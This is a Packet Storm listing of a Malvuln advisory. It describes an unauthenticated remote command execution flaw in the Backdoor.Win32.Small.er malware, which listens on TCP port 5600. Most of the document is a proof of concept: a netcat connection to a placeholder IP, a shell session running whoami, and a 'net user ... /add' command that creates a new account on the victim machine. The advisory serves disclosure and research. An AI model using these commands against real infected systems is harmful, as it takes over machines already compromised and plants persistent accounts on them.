Backdoor.Win32.Small.er Code Execution ≈ Packet Storm

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Backdoor.Win32.Small.er Code Execution^[6]: Authored by malvuln ^[7] | Site malvuln.com ^[8]; Backdoor.Win32.Small.er malware suffers from a code execution vulnerability.; systems | windows ^[9]; MD5 | 400de69421b872fbbfed313f4635c74a; Download ^[10] | Favorite ^[11] | View ^[12]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9f11868c3beaa8e2c1f5c193f5888b85.txt
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Media: twitter.com/malvuln
Threat: Backdoor.Win32.Small.er
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5600. Third-party attackers who can reach infected systems can run any OS commands.
Type: PE32
MD5: 9f11868c3beaa8e2c1f5c193f5888b85
Vuln ID: MVID-2022-0480
Disclosure: 02/05/2022
Exploit/PoC:
Note: hit enter twice for each command.
nc64.exe x.x.x.x 5600
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\dump>
C:\dump>
cd \Windows
C:\dump>cd \Windows
C:\Windows>
C:\Windows>whoami
whoami
desktop-2c3jqho\victim
C:\Windows>
C:\Windows>
net user hyp3rlinx 666 /add
C:\Windows>net user hyp3rlinx 666 /add
The command completed successfully.
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